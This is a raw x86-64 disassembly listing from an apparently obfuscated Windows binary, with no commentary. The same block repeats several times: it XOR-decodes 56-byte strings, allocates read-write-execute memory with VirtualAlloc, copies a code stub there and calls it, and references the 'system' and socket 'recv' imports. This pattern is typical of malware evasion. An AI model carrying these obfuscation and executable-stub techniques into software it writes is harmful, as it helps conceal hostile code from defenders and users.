cmp r8d, 0x38
jl 0x140041860
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x2a8], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140041919
mov rdx, r13
cmp rax, r14
je 0x140041908
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400418f0
jmp 0x140041919
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400419ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041942
mov r8, r13
jmp 0x1400419de
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140041950
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x2a8]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x388]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x195]
call fcn.140048a10
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140041bd2
mov r8d, r13d
cmp r15d, 2
jl 0x140041b9b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140041ab0
jmp 0x140041bd2
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140041ba0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x2b0], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140041c59
mov rdx, r13
cmp rax, r14
je 0x140041c48
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140041c30
jmp 0x140041c59
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140041d3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041c82
mov r8, r13
jmp 0x140041d1e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140041c90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x2b0]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x390]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a9]
call fcn.140048a50
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140041f12
mov r8d, r13d
cmp r15d, 2
jl 0x140041edb
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140041df0
jmp 0x140041f12
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140041ee0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x2b8], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140041f99
mov rdx, r13
cmp rax, r14
je 0x140041f88
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140041f70
jmp 0x140041f99
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004207f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041fc2
mov r8, r13
jmp 0x14004205e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140041fd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x380]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1aa]
call fcn.140048a90
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140042252
mov r8d, r13d
cmp r15d, 2
jl 0x14004221b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140042130
jmp 0x140042252
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140042220
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x210], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x1400422d9
mov rdx, r13
cmp rax, r14
je 0x1400422c8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400422b0
jmp 0x1400422d9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400423bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042302
mov r8, r13
jmp 0x14004239e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042310
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x210]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x398]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x180]
call fcn.140048ad0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140042592
mov r8d, r13d
cmp r15d, 2
jl 0x14004255b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140042470
jmp 0x140042592
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140042560
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x218], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140042619
mov rdx, r13
cmp rax, r14
je 0x140042608
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400425f0
jmp 0x140042619
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400426ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042642
mov r8, r13
jmp 0x1400426de
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042650
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x218]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2c0]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x181]
call fcn.140048b10
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400428d2
mov r8d, r13d
cmp r15d, 2
jl 0x14004289b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400427b0
jmp 0x1400428d2
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400428a0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x220], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140042959
mov rdx, r13
cmp rax, r14
je 0x140042948
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140042930
jmp 0x140042959
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140042a3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042982
mov r8, r13
jmp 0x140042a1e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140042990
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x220]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2c8]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x182]
call fcn.140048b50
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140042c12
mov r8d, r13d
cmp r15d, 2
jl 0x140042bdb
mov edx, r13d
